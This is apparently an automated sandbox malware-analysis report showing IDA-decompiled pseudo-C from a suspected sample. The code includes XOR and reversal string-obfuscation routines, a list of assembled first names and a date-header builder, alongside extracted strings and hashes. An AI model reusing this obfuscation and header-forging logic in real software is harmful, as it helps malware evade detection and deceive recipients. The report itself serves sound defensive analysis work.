				_t381 = __esi;
				_t262 = __eax;
				do {
					_t307 =  *((intOrPtr*)(_t390 + _t262 + 0xd8));
					 *((char*)(_t390 + _t262 + 0xd8)) =  *((intOrPtr*)(_t390 + _t381 + 0xd8));
					_t262 = _t262 + 1;
					 *((char*)(_t390 + _t381 + 0xd8)) = _t307;
					_t381 = _t381 - 1;
				} while (_t262 < _t381);
				_a408 = _a216 ^ 0x000000d4;
				_a409 = _a217 ^ 0x00000019;
				_a410 = _a218 ^ 0x000000c7;
				_a411 = _a219 ^ 0x000000dc;
				_push(6);
				_a412 = _a220 ^ 0x000000c8;
				_push( &_a440);
				 *0x431c89 = 0x19;
				_a413 = _a221 ^ 0x00000016;
				_a440 = 0x53;
				_a441 = 0x8b;
				_a442 = 0xa2;
				_a443 = 0x94;
				_a444 = 0x67;
				_a445 = 0x43;
				_a216 = 0x66;
				_a217 = 0x35;
				_a218 = 0x40;
				_a219 = 0x33;
				_a220 = 0x52;
				_a221 = 0x3c;
				_t388 = E0040D980( &_a216);
				_a416 = 0x6c;
				_a417 = 0x69;
				_a418 = 0x6e;
				_a419 = 0x64;
				_a420 = 0x61;
				_a421 = __ebx;
				_a464 = 0x73;
				_a465 = 0x61;
				_a466 = 0x6e;
				_a467 = 0x64;
				_a468 = 0x72;
				_a469 = 0x61;
				_a470 = __ebx;
				_a256 = 0x6c;
				_a257 = 0x69;
				_a258 = 0x73;
				_a259 = 0x61;
				_a260 = __ebx;
				_a208 = 0x61;
				_a209 = 1;
				_a210 = 0x45;
				_a211 = 0xff;
				_a212 = 0x6e;
				_a213 = 0xf4;
				_t269 = 0;
				_t382 = 5;
				do {
					_t313 =  *((intOrPtr*)(_t390 + _t269 + 0xdc));
					 *((char*)(_t390 + _t269 + 0xdc)) =  *((intOrPtr*)(_t390 + _t382 + 0xdc));
					_t269 = _t269 + 1;
					 *((char*)(_t390 + _t382 + 0xdc)) = _t313;
					_t382 = _t382 - 1;
				} while (_t269 < _t382);
				_a408 = _a208 ^ 0x00000099;
				_a409 = _a209 ^ 0x0000000f;
				_a410 = _a210 ^ 0x00000091;
				_a411 = _a211 ^ 0x00000026;
				_push(6);
				_a412 = _a212 ^ 0x00000078;
				_push( &_a376);
				_t79 =  &_a208; // 0x66
				 *0x431c89 = 0x19;
				_a413 = _a213 ^ 0x00000061;
				_a376 = __ebx;
				_a377 = 0xc3;
				_a378 = 0x49;
				_a379 = 0x83;
				_a380 = 0xfc;
				_a381 = 0x33;
				_a208 = 0x75;
				_a209 = 0x1e;
				_a210 = 0x7f;
				_a211 = 0xd;
				_a212 = 0x68;
				_a213 = 6;
				_t378 = E0040D980(_t79);
				_a288 = 0x62;
				_a289 = 0x65;
				_a290 = 0x74;
				_a291 = 0x74;
				_a292 = 0x79;
				_a293 = __ebx;
				_a296 = 0x68;
				_a297 = 0x65;
				_a298 = 0x6c;
				_a299 = 0x65;
				_a300 = 0x6e;
				_a301 = __ebx;
				_a224 = 0x73;
				_a225 = 0x61;
				_a226 = 0x6e;
				_a227 = 0x64;
				_a228 = 0x72;
				_a229 = 0x61;
				_a230 = __ebx;
				_a200 = 8;
				_a201 = 0xf;
				_a202 = 0x6d;
				_a203 = 0xa3;
				_a204 = 0x9f;
				_a205 = 0x98;
				_t319 = 0;
				_t383 = 5;
				do {
					_t276 =  *((intOrPtr*)(_t390 + _t319 + 0xdc));
					 *((char*)(_t390 + _t319 + 0xdc)) =  *((intOrPtr*)(_t390 + _t383 + 0xdc));
					_t319 = _t319 + 1;
					 *((char*)(_t390 + _t383 + 0xdc)) = _t276;
					_t383 = _t383 - 1;
				} while (_t319 < _t383);
				_a313 = _a201 ^ 0x000000f0;
				_a312 = _a200 ^ 0x000000dc;
				_a314 = _a202 ^ 0x000000cd;
				_a316 = _a204 ^ 0x0000006e;
				_a315 = _a203 ^ 0x00000003;
				_a317 = _a205 ^ 0x00000008;
				_a208 = 0x63;
				_a209 = 0x61;
				_a210 = 0x72;
				_a211 = 0x6f;
				_a212 = 0x6c;
				_a213 = __ebx;
				_a216 = 0xee;
				_a217 = 0x5b;
				_a218 = 0xc5;
				_a219 = 0x99;
				_a220 = 0x2f;
				_t324 = 0;
				_t384 = 4;
				do {
					_t281 =  *((intOrPtr*)(_t390 + _t324 + 0xec));
					 *((char*)(_t390 + _t324 + 0xec)) =  *((intOrPtr*)(_t390 + _t384 + 0xec));
					_t324 = _t324 + 1;
					 *((char*)(_t390 + _t384 + 0xec)) = _t281;
					_t384 = _t384 - 1;
				} while (_t324 < _t384);
				_a200 = _a216 ^ 0x0000005d;
				_a201 = _a217 ^ 0x000000ec;
				_a202 = _a218 ^ 0x000000b1;
				_a203 = _a219 ^ 0x00000033;
				_a204 = _a220 ^ 0x000000ee;
				_a44 = _a32;
				_a40 =  &_a240;
				_a48 =  &_a280;
				_a52 =  &_a304;
				_a56 =  &_a416;
				_a60 =  &_a8;
				_a64 =  &_a264;
				_a76 = _a36;
				_a68 =  &_a320;
				_a72 =  &_a360;
				_a80 = _a24;
				_a88 = _a28;
				_a84 =  &_a432;
				_a92 =  &_a336;
				_a96 =  &_a440;
				_a100 =  &_a376;
				_a104 = _a20;
				_a108 =  &_a16;
				_a112 =  &_a232;
				_a116 = _v4;
				_a120 =  &_a256;
				_a124 =  &_a448;
				_t211 =  &_a472; // 0x64
				_a128 = _t211;
				_a132 =  &_a352;
				_a136 =  &_a272;
				_a140 =  &_a392;
				 *0x431c89 = 0x19;
				_a216 = 0x73;
				_a217 = 0x68;
				_a218 = 0x61;
				_a219 = 0x72;
				_a220 = 0x6f;
				_a221 = 0x6e;
				_a222 = __ebx;
				_a144 = _t388;
				_a148 =  &_a408;
				_a152 =  &_a456;
				_t231 =  &_a248; // 0x6c
				_a156 = _t231;
				_t235 =  &_a296; // 0x68
				_a160 =  &_a400;
				_a168 =  &_a288;
				_a172 = _t235;
				_a176 =  &_a224;
				_a180 =  &_a312;
				_a184 =  &_a208;
				_t247 =  &_a344; // 0x72
				_a164 = _t378;
				_a188 =  &_a200;
				_a192 =  &_a216;
				_a196 = _t247;
				_t299 = E0040C1D0( &_a216);
				_t385 =  *((intOrPtr*)(_t390 + 0x38 + _t299 % 0x28 * 4));
				_t301 =  *((intOrPtr*)(_t390 + 0x38 + _t299 % 0x28 * 4));
				_t379 = _t301 + 1;
				do {
					_t342 =  *_t301;
					_t301 = _t301 + 1;
				} while (_t342 != __ebx);
				return E00424873(E004028A0(_a488, _t385, _t301 - _t379), _a472);
			}

0x0040e676
0x0040e676
0x0040e680
0x0040e687
0x0040e68e
0x0040e695
0x0040e696
0x0040e69d
0x0040e69e
0x0040e6bc
0x0040e6ca
0x0040e6de
0x0040e6ef
0x0040e6f6
0x0040e6ff
0x0040e709
0x0040e711
0x0040e718
0x0040e71f
0x0040e727
0x0040e72f
0x0040e737
0x0040e73f
0x0040e747
0x0040e74f
0x0040e757
0x0040e75f
0x0040e767
0x0040e76f
0x0040e777
0x0040e784
0x0040e786
0x0040e78e
0x0040e796
0x0040e79e
0x0040e7a6
0x0040e7ae
0x0040e7b5
0x0040e7bd
0x0040e7c5
0x0040e7cd
0x0040e7d5
0x0040e7dd
0x0040e7e5
0x0040e7ec
0x0040e7f4
0x0040e7fc
0x0040e804
0x0040e80c
0x0040e813
0x0040e81b
0x0040e823
0x0040e82b
0x0040e833
0x0040e83b
0x0040e843
0x0040e845
0x0040e850
0x0040e857
0x0040e85e
0x0040e865
0x0040e866
0x0040e86d
0x0040e86e
0x0040e88c
0x0040e89a
0x0040e8ad
0x0040e8be
0x0040e8c5
0x0040e8ce
0x0040e8d8
0x0040e8d9
0x0040e8e0
0x0040e8e7
0x0040e8ee
0x0040e8f5
0x0040e8fd
0x0040e905
0x0040e90d
0x0040e915
0x0040e91d
0x0040e925
0x0040e92d
0x0040e935
0x0040e93d
0x0040e945
0x0040e952
0x0040e954
0x0040e95c
0x0040e964
0x0040e96c
0x0040e974
0x0040e97c
0x0040e983
0x0040e98b
0x0040e993
0x0040e99b
0x0040e9a3
0x0040e9ab
0x0040e9b2
0x0040e9ba
0x0040e9c2
0x0040e9ca
0x0040e9d2
0x0040e9da
0x0040e9e2
0x0040e9e9
0x0040e9f1
0x0040e9f9
0x0040ea01
0x0040ea09
0x0040ea11
0x0040ea19
0x0040ea1b
0x0040ea20
0x0040ea27
0x0040ea2e
0x0040ea35
0x0040ea36
0x0040ea3d
0x0040ea3e
0x0040ea5f
0x0040ea6d
0x0040ea7b
0x0040ea91
0x0040ea98
0x0040ea9f
0x0040eaa6
0x0040eaae
0x0040eab6
0x0040eabe
0x0040eac6
0x0040eace
0x0040ead5
0x0040eadd
0x0040eae5
0x0040eaed
0x0040eaf5
0x0040eafd
0x0040eaff
0x0040eb10
0x0040eb17
0x0040eb1e
0x0040eb25
0x0040eb26
0x0040eb2d
0x0040eb2e
0x0040eb4c
0x0040eb5d
0x0040eb6d
0x0040eb77
0x0040eb82
0x0040eb89
0x0040eb94
0x0040eb9f
0x0040ebaa
0x0040ebb5
0x0040ebbd
0x0040ebc8
0x0040ebd0
0x0040ebdf
0x0040ebee
0x0040ebf2
0x0040ebf6
0x0040ec01
0x0040ec0c
0x0040ec1b
0x0040ec26
0x0040ec2a
0x0040ec3d
0x0040ec44
0x0040ec4b
0x0040ec60
0x0040ec67
0x0040ec6e
0x0040ec83
0x0040ec91
0x0040ec98
0x0040ecad
0x0040ecb4
0x0040ecbb
0x0040ecc3
0x0040eccb
0x0040ecd3
0x0040ecdb
0x0040ece3
0x0040eceb
0x0040ecf2
0x0040ecf9
0x0040ed00
0x0040ed07
0x0040ed0e
0x0040ed23
0x0040ed2a
0x0040ed31
0x0040ed38
0x0040ed54
0x0040ed5b
0x0040ed62
0x0040ed77
0x0040ed7e
0x0040ed85
0x0040ed8c
0x0040ed93
0x0040ed9a
0x0040eda9
0x0040edad
0x0040edaf
0x0040edb2
0x0040edb2
0x0040edb4
0x0040edb5
0x0040edde

Strings

t, xrefs: 0040E964
lmada, xrefs: 0040ED07
a, xrefs: 0040EAAE
b, xrefs: 0040E954
l, xrefs: 0040E786
n, xrefs: 0040E796
e, xrefs: 0040E99B
d, xrefs: 0040E7CD
a, xrefs: 0040E7BD
s, xrefs: 0040ECBB
n, xrefs: 0040ECE3
e, xrefs: 0040E95C
d, xrefs: 0040E79E
m, xrefs: 0040E9F9
r, xrefs: 0040EAB6
s, xrefs: 0040E9B2
r, xrefs: 0040E7D5
o, xrefs: 0040EABE
<, xrefs: 0040E777
a, xrefs: 0040E7A6
a, xrefs: 0040E813
rebyc, xrefs: 0040ED77
t, xrefs: 0040E96C
d, xrefs: 0040E9CA
a, xrefs: 0040E9DA
c, xrefs: 0040EAA6
r, xrefs: 0040ECD3
i, xrefs: 0040E78E
n, xrefs: 0040E9C2
g, xrefs: 0040E73F
o, xrefs: 0040ECDB
n, xrefs: 0040E833
a, xrefs: 0040E7DD
hyb, xrefs: 0040ED23
I, xrefs: 0040E8FD
n, xrefs: 0040E7C5
y, xrefs: 0040E974
l, xrefs: 0040EAC6
C, xrefs: 0040E747
r, xrefs: 0040E9D2
a, xrefs: 0040E9BA
dualc, xrefs: 0040EC6E
n, xrefs: 0040E9A3
h, xrefs: 0040ECC3
s, xrefs: 0040E7B5
fna, xrefs: 0040E8D9
3, xrefs: 0040E915
a, xrefs: 0040ECCB
S, xrefs: 0040E71F

Memory Dump Source

Source File: 00000000.00000002.303750221.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.303744957.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.303886469.000000000042E000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.303918997.0000000000431000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.303929663.0000000000434000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_message.jbxd

Similarity

API ID:
String ID: 3$<$C$I$S$a$a$a$a$a$a$a$a$b$c$d$d$d$dualc$e$e$fna$g$h$hyb$i$l$l$lmada$m$n$n$n$n$n$n$o$o$r$r$r$r$rebyc$s$s$s$t$t$y
API String ID: 0-907914069
Opcode ID: 0332521eceea5fd94bb27fe7acd8e7d51adc7a05d74f19a4687ecc626ac915ed
Instruction ID: 78c049e7797477cb6e619203f3ba55b69d2c157b8d549aaa0d27a5a6a91e7049
Opcode Fuzzy Hash: 0332521eceea5fd94bb27fe7acd8e7d51adc7a05d74f19a4687ecc626ac915ed
Instruction Fuzzy Hash: 6812BF3440D3C18EE332CB2994547DFBFE16BA6308F088DAED4DD5A292D6B60159CB67

Uniqueness

Uniqueness Score: -1.00%

Function 0040BE00, Relevance: 58.0, APIs: 2, Strings: 31, Instructions: 253
timeCOMMON

Download Yara Rule

C-Code - Quality: 76%

			E0040BE00(intOrPtr _a4, intOrPtr _a8) {
				intOrPtr _v8;
				struct _TIME_ZONE_INFORMATION _v188;
				char _v189;
				char _v190;
				char _v191;
				char _v192;
				char _v193;
				char _v194;
				char _v195;
				char _v196;
				char _v197;
				char _v198;
				char _v199;
				char _v200;
				char _v201;
				char _v202;
				char _v203;
				char _v204;
				char _v205;
				char _v206;
				char _v207;
				char _v208;
				char _v209;
				char _v210;
				char _v211;
				char _v212;
				char _v213;
				char _v214;
				char _v215;
				char _v216;
				char _v217;
				char _v218;
				char _v219;
				char _v220;
				char _v221;
				char _v222;
				char _v223;
				char _v224;
				char _v225;
				char _v226;
				char _v227;
				char _v228;
				char _v229;
				char _v230;
				char _v231;
				char _v232;
				char _v233;
				char _v234;
				char _v235;
				char _v236;
				char _v237;
				char _v238;
				char _v239;
				char _v240;
				char _v241;
				char _v242;
				char _v243;
				char _v244;
				char _v245;
				char _v246;
				char _v247;
				char _v248;
				char _v249;
				char _v250;
				char _v251;
				char _v252;
				char _v253;
				char _v254;
				char _v255;
				char _v256;
				char _v257;
				char _v258;
				char _v259;
				char _v260;
				char _v261;
				char _v262;
				char _v263;
				char _v264;
				char _v265;
				char _v266;
				char _v267;
				char _v268;
				char _v269;
				char _v270;
				char _v271;
				char _v272;
				char _v273;
				char _v274;
				char _v275;
				char _v276;
				char _v277;
				char _v278;
				char _v279;
				char _v280;
				char _v281;
				char _v282;
				char _v283;
				char _v284;
				signed int _v288;
				struct _SYSTEMTIME _v304;
				signed int _v308;
				char _v309;
				intOrPtr _t177;
				void* _t185;
				signed int _t186;
				signed int _t187;
				signed short _t190;
				signed short _t191;
				signed short _t192;
				void* _t196;
				signed int _t254;
				signed int _t263;
				signed int _t267;
				signed int _t269;
				void* _t271;
				void* _t272;

				_t271 = (_t269 & 0xfffffff8) - 0x134;
				_t177 =  *0x4310d8; // 0x2c0d4047
				_v8 = _t177;
				if(_a4 == 0) {
					L18:
					return E00424873(0x26, _v8);
				} else {
					if(_a8 >= 0x26) {
						GetLocalTime( &_v304);
						memset( &_v188, 0, 0x2b << 2);
						_t272 = _t271 + 0xc;
						_t214 = 0x9b;
						_t185 = GetTimeZoneInformation( &_v188) - 1;
						if(_t185 == 0) {
							_t186 = _v188.StandardBias + _v188.Bias;
						} else {
							if(_t185 == 1) {
								_t214 = 0xff;
								_t186 = _v188.DaylightBias + _v188.Bias;
							} else {
								_t186 = _v188.Bias;
								_t214 = 0x26;
							}
						}
						asm("cdq");
						_t187 = _t186 / 0x3c;
						_t267 = _t187;
						_v288 = _t186 % 0x3c;
						 *0x431c88 = _t214 & 0x00000038;
						_v309 = (_t187 & 0xffffff00 | _t267 >= 0x00000000) + (_t187 & 0xffffff00 | _t267 >= 0x00000000) + 0x2b;
						_t190 = _v304.wDayOfWeek;
						if(_t190 <= 6) {
							_v308 = _t190 & 0x0000ffff;
						} else {
							_v308 = 0;
						}
						_t191 = _v304.wMonth;
						if(_t191 < 1 || _t191 > 0xc) {
							_t192 = 0;
						} else {
							_t192 = _t191 - 1;
						}
						_v304.wMonth = _t192;
						_t263 = _t192 & 0x0000ffff;
						_v243 = 3;
						_v240 = 3;
						_v279 = 0xbe;
						_v275 = 0xba;
						_v263 = 0xbe;
						_v234 = 0xd9;
						_v232 = 0xba;
						_v225 = 0xd9;
						_v284 = 0xd1;
						_v283 = 0x34;
						_v282 = 0xad;
						_v281 = 0xd4;
						_v280 = 0x80;
						_v278 = 0x8c;
						_v277 = 0x5a;
						_v276 = 0x99;
						_v274 = 0x77;
						_v273 = 0xfc;
						_v272 = 0x9d;
						_v271 = 0xa1;
						_v270 = 0xb5;
						_v269 = 0x6d;
						_v268 = 0xa7;
						_v267 = 0x67;
						_v266 = 0x6e;
						_v265 = 7;
						_v264 = 0xec;
						_v262 = 0xcc;
						_v261 = 0x32;
						_v260 = 0x3f;
						_v259 = 0x65;
						_v258 = 0xbd;
						_v257 = 0xf7;
						_v256 = 0x47;
						_v255 = 0x45;
						_v254 = 0x14;
						_v253 = 0xed;
						_v252 = 0x68;
						_v251 = 0x9b;
						_v250 = 0x28;
						_v249 = 0x1e;
						_v248 = 2;
						_v247 = 2;
						_v246 = 0x48;
						_v245 = 0xd;
						_v244 = 2;
						_v242 = 0xc;
						_v241 = 0x85;
						_v239 = 0x1b;
						_v238 = 0xe3;
						_v237 = 0xc5;
						_v236 = 0x95;
						_v235 = 0x55;
						_v233 = 0xb1;
						_v231 = 0x9e;
						_v230 = 0xa9;
						_v229 = 0x69;
						_v228 = 0xea;
						_v227 = 0x96;
						_v226 = 0x57;
						_v224 = 0xf9;
						_v223 = 0x81;
						_v222 = 0x90;
						_v221 = 0x5e;
						_v220 = 0xd4;
						_v219 = 0x47;
						_v218 = 0x4b;
						_v217 = 0x33;
						_v216 = 0x88;
						_v215 = 0x9e;
						_v214 = 0xe9;
						_v213 = 2;
						_v210 = 0x87;
						_v190 = 0x87;
						_v212 = 0xd;
						_v211 = 1;
						_v209 = 0xd2;
						_v208 = 0x77;
						_v207 = 0x77;
						_v206 = 0x70;
						_v205 = 0xd7;
						_v204 = 0x4d;
						_v203 = 0xab;
						_v202 = 0x1a;
						_v201 = 0x7a;
						_v200 = 0x22;
						_v199 = 0x27;
						_v198 = 0x2b;
						_v197 = 0x28;
						_v196 = 0x32;
						_v195 = 0x31;
						_v194 = 0x68;
						_v193 = 0xa0;
						_v192 = 0x33;
						_v191 = 0x29;
						_v189 = 0xc5;
						_t196 = 0;
						do {
							 *(_t272 + _t196 + 0x28) =  *(_t272 + _t196 + 0x28) ^  *(_t272 + _t196 + 0x58);
							 *(_t272 + _t196 + 0x29) =  *(_t272 + _t196 + 0x29) ^  *(_t272 + _t196 + 0x59);
							 *(_t272 + _t196 + 0x2a) =  *(_t272 + _t196 + 0x2a) ^  *(_t272 + _t196 + 0x5a);
							 *(_t272 + _t196 + 0x2b) =  *(_t272 + _t196 + 0x2b) ^  *(_t272 + _t196 + 0x5b);
							 *(_t272 + _t196 + 0x2c) =  *(_t272 + _t196 + 0x2c) ^  *(_t272 + _t196 + 0x5c);
							_t254 =  *((intOrPtr*)(_t272 + _t196 + 0x5d));
							 *(_t272 + _t196 + 0x2d) =  *(_t272 + _t196 + 0x2d) ^ _t254;
							_t196 = _t196 + 6;
						} while (_t196 < 0x30);
						asm("cdq");
						asm("cdq");
						 *0x431f14(_a4,  &_v284,  *((intOrPtr*)(0x42e378 + _v308 * 4)), _v304.wDay & 0x0000ffff,  *((intOrPtr*)(0x42e394 + _t263 * 4)), _v304.wYear & 0x0000ffff, _v304.wHour & 0x0000ffff, _v304.wMinute & 0x0000ffff, _v304.wSecond & 0x0000ffff, _v309, (_t267 ^ _t254) - _t254, (_v288 ^ _t254) - _t254);
						goto L18;
					} else {
						return E00424873(0, _v8);
					}
				}
			}

0x0040be06
0x0040be0c
0x0040be12
0x0040be20
0x0040c1b8
0x0040c1cf
0x0040be26
0x0040be2a
0x0040be46
0x0040be5a
0x0040be5a
0x0040be64
0x0040be6c
0x0040be6d
0x0040bea0
0x0040be6f
0x0040be70
0x0040be8b
0x0040be8e
0x0040be72
0x0040be72
0x0040be79
0x0040be79
0x0040be70
0x0040bea3
0x0040bea9
0x0040beab
0x0040beb5
0x0040beb9
0x0040bec3
0x0040bec7
0x0040bed0
0x0040bedf
0x0040bed2
0x0040bed2
0x0040bed2
0x0040bee3
0x0040beec
0x0040bef8
0x0040bef4
0x0040bef4
0x0040bef4
0x0040befd
0x0040bf02
0x0040bf09
0x0040bf0d
0x0040bf13
0x0040bf17
0x0040bf1b
0x0040bf21
0x0040bf25
0x0040bf2b
0x0040bf33
0x0040bf38
0x0040bf3d
0x0040bf42
0x0040bf47
0x0040bf4c
0x0040bf51
0x0040bf56
0x0040bf5b
0x0040bf5f
0x0040bf64
0x0040bf69
0x0040bf6e
0x0040bf73
0x0040bf78
0x0040bf7d
0x0040bf82
0x0040bf87
0x0040bf8c
0x0040bf91
0x0040bf96
0x0040bf9b
0x0040bfa0
0x0040bfa5
0x0040bfaa
0x0040bfaf
0x0040bfb4
0x0040bfb9
0x0040bfbe
0x0040bfc3
0x0040bfc8
0x0040bfcd
0x0040bfd2
0x0040bfd7
0x0040bfdb
0x0040bfdf
0x0040bfe4
0x0040bfe9
0x0040bfed
0x0040bff2
0x0040bff7
0x0040bffc
0x0040c001
0x0040c006
0x0040c00b
0x0040c010
0x0040c015
0x0040c019
0x0040c01e
0x0040c023
0x0040c028
0x0040c02d
0x0040c032
0x0040c037
0x0040c03c
0x0040c041
0x0040c046
0x0040c04b
0x0040c050
0x0040c055
0x0040c059
0x0040c05e
0x0040c062
0x0040c067
0x0040c06d
0x0040c071
0x0040c078
0x0040c07d
0x0040c082
0x0040c087
0x0040c08b
0x0040c08f
0x0040c094
0x0040c099
0x0040c09e
0x0040c0a3
0x0040c0a8
0x0040c0ad
0x0040c0b2
0x0040c0b7
0x0040c0bc
0x0040c0c1
0x0040c0c9
0x0040c0d1
0x0040c0d9
0x0040c0e1
0x0040c0e8
0x0040c0f0
0x0040c0f8
0x0040c100
0x0040c112
0x0040c126
0x0040c12e
0x0040c13e
0x0040c146
0x0040c14a
0x0040c150
0x0040c154
0x0040c157
0x0040c165
0x0040c16d
0x0040c1af
0x00000000
0x0040be2c
0x0040be40
0x0040be40
0x0040be2a

APIs

GetLocalTime.KERNEL32(?,?,?,0000005D), ref: 0040BE46
GetTimeZoneInformation.KERNEL32(?), ref: 0040BE66

Strings

Z, xrefs: 0040BF51
e, xrefs: 0040BFA0
^, xrefs: 0040C041
G, xrefs: 0040BFAF
2, xrefs: 0040BF96
K, xrefs: 0040C050
g, xrefs: 0040BF7D
h, xrefs: 0040BFC3
G@,, xrefs: 0040BE0C
W, xrefs: 0040C02D
1, xrefs: 0040C0C9
M, xrefs: 0040C099
G, xrefs: 0040C04B
z, xrefs: 0040C0A8
h, xrefs: 0040C0D1
i, xrefs: 0040C01E
+, xrefs: 0040C0B7
n, xrefs: 0040BF82
(, xrefs: 0040C0BC
(, xrefs: 0040BFCD
), xrefs: 0040C0E8
4, xrefs: 0040BF38
?, xrefs: 0040BF9B
p, xrefs: 0040C08F
m, xrefs: 0040BF73
H, xrefs: 0040BFDF
U, xrefs: 0040C00B
', xrefs: 0040C0B2
", xrefs: 0040C0AD
2, xrefs: 0040C0C1
E, xrefs: 0040BFB4

Memory Dump Source

Source File: 00000000.00000002.303750221.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.303744957.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.303886469.000000000042E000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.303918997.0000000000431000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.303929663.0000000000434000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_message.jbxd

Similarity

API ID: Time$InformationLocalZone
String ID: "$'$($($)$+$1$2$2$4$?$E$G$G$G@,$H$K$M$U$W$Z$^$e$g$h$h$i$m$n$p$z
API String ID: 93009163-4119455090
Opcode ID: d4280e2c651efcdaf4adcd37bac95a97bed8fc85061677ef0d98c041c8610d7f
Instruction ID: f24f2204c30bf8112847402748224eab2bce5a1f2b66652d7b583283150f38f1
Opcode Fuzzy Hash: d4280e2c651efcdaf4adcd37bac95a97bed8fc85061677ef0d98c041c8610d7f
Instruction Fuzzy Hash: DEC1382110D7C189D322C77C948469FFFD15BEB228F584A9DF1E48B3E2C2658549C76B

Uniqueness

Uniqueness Score: -1.00%

Function 00410220, Relevance: 46.5, Strings: 37, Instructions: 251
COMMONCrypto

Download Yara Rule

C-Code - Quality: 100%

			E00410220(void* __eax, char __ebx, char __ecx, char __edx, char _a11, char* _a12, char* _a16, char* _a20, char* _a24, char* _a28, char* _a32, char* _a36, char* _a40, char* _a44, char* _a48, char* _a52, char _a56, char _a57, char _a58, char _a59, char _a60, char _a61, char _a62, char _a63, char _a64, char _a65, char _a66, char _a67, char _a68, char _a69, char _a70, char _a71, char _a72, char _a73, char _a74, char _a75, char _a76, char _a77, char _a78, char _a79, char _a80, char _a81, char _a82, char _a84, char _a85, char _a86, char _a87, char _a88, char _a89, char _a90, char _a91, char _a92, char _a93, char _a94, char _a95, char _a96, char _a97, char _a98, char _a99, char _a100, char _a101, char _a102, char _a103, char _a104, char _a105, char _a106, char _a107, char _a108, char _a109, char _a110, char _a111, char _a112, char _a124, char _a125, char _a126, char _a127, char _a128, char _a129, char _a130, char _a131, char _a132, char _a133, char _a134, char _a135, char _a136, char _a137, char _a138, char _a139, char _a140, char _a156, char _a168, char _a180, char _a192, char _a193, char _a194, char _a195, char _a196, char _a197, char _a198, char _a199, char _a200, char _a201, intOrPtr _a212) {
				void* _t264;
				void* _t266;
				void* _t267;
				void* _t270;
				void* _t271;
				signed int _t277;
				intOrPtr* _t279;
				char _t312;
				void* _t318;
				intOrPtr _t328;
				void* _t339;
				void* _t341;

				L0:
				 *(_t341 + __eax + 0x8c) =  *(_t341 + __eax + 0x8c) ^ 0x000000ae;
				if(__eax + 1 < 0xd) {
					goto L0;
				}
				_a192 = 0x67;
				_a193 = __edx;
				_a194 = __edx;
				_a195 = 0x77;
				_a196 = 0x79;
				_a197 = 0x2e;
				_a198 = 0x63;
				_a199 = __edx;
				_a200 = 0x6d;
				_a201 = 0;
				_a56 = 0xd7;
				_a57 = 0x7c;
				_a58 = 0x15;
				_a59 = 7;
				_a60 = 0x50;
				_a61 = 0x5a;
				_a62 = 0x92;
				_a63 = 0x29;
				_a64 = 0x30;
				_a65 = 0x5d;
				_a66 = 0xd9;
				_a67 = 0x31;
				_a100 = 0x91;
				_a101 = 0xf3;
				_a102 = 0x5f;
				_a103 = 0x66;
				_a104 = 0x11;
				_a105 = 0xf;
				_a106 = 0xda;
				_a107 = 5;
				_a108 = 0x33;
				_a109 = 0x12;
				_a110 = 0x94;
				_a111 = __ecx;
				_t264 = 0;
				do {
					 *((intOrPtr*)(_t341 + _t264 + 0x38)) =  *((intOrPtr*)(_t341 + _t264 + 0x38)) +  *((intOrPtr*)(_t341 + _t264 + 0x64));
					 *((intOrPtr*)(_t341 + _t264 + 0x39)) =  *((intOrPtr*)(_t341 + _t264 + 0x39)) +  *((intOrPtr*)(_t341 + _t264 + 0x65));
					 *((intOrPtr*)(_t341 + _t264 + 0x3a)) =  *((intOrPtr*)(_t341 + _t264 + 0x3a)) +  *((intOrPtr*)(_t341 + _t264 + 0x66));
					 *((intOrPtr*)(_t341 + _t264 + 0x3b)) =  *((intOrPtr*)(_t341 + _t264 + 0x3b)) +  *((intOrPtr*)(_t341 + _t264 + 0x67));
					 *((intOrPtr*)(_t341 + _t264 + 0x3c)) =  *((intOrPtr*)(_t341 + _t264 + 0x3c)) +  *((intOrPtr*)(_t341 + _t264 + 0x68));
					 *((intOrPtr*)(_t341 + _t264 + 0x3d)) =  *((intOrPtr*)(_t341 + _t264 + 0x3d)) +  *((intOrPtr*)(_t341 + _t264 + 0x69));
					_t264 = _t264 + 6;
				} while (_t264 < 0xc);
				_a139 = 0x35;
				_a84 = 0x35;
				_a124 = 0x5e;
				_a125 = 0x81;
				_a126 = 0xc0;
				_a127 = 0x9f;
				_a128 = 0xa9;
				_a129 = 0xe7;
				_a130 = 0x61;
				_a131 = __ebx;
				_a132 = 0xb6;
				_a133 = 0x59;
				_a134 = __edx;
				_a135 = 0xdb;
				_a136 = 0x48;
				_a137 = 0xa;
				_a138 = 0x1f;
				_a85 = 0x72;
				_a86 = 0x65;
				_a87 = 0x2b;
				_a88 = 0xf5;
				_a89 = 0x16;
				_a90 = 0x38;
				_a91 = __ebx;
				_a92 = 0xb8;
				_a93 = 0xc;
				_a94 = 0xc9;
				_a95 = 0xc5;
				_a96 = 0xf6;
				_a97 = 0xa1;
				_a98 = 0xec;
				_a99 = 0x3b;
				_t266 = 0;
				_t312 = 0xf;
				do {
					_a11 =  *((intOrPtr*)(_t341 + _t266 + 0x54));
					 *((char*)(_t341 + _t266 + 0x54)) =  *((intOrPtr*)(_t341 + _t312 + 0x54));
					_t266 = _t266 + 1;
					 *((char*)(_t341 + _t312 + 0x54)) = _a11;
					_t312 = _t312 - 1;
				} while (_t266 < _t312);
				_t267 = 0;
				do {
					 *(_t341 + _t267 + 0x7c) =  *(_t341 + _t267 + 0x7c) ^  *(_t341 + _t267 + 0x54);
					 *(_t341 + _t267 + 0x7d) =  *(_t341 + _t267 + 0x7d) ^  *(_t341 + _t267 + 0x55);
					_t134 = _t267 + 0x57; // 0x2b
					 *(_t341 + _t267 + 0x7e) =  *(_t341 + _t267 + 0x7e) ^  *(_t341 + _t267 + 0x56);
					 *(_t341 + _t267 + 0x7f) =  *(_t341 + _t267 + 0x7f) ^  *(_t341 + _t134);
					_t267 = _t267 + 4;
				} while (_t267 < 0x10);
				_a100 = 0x63;
				_a106 = 0x63;
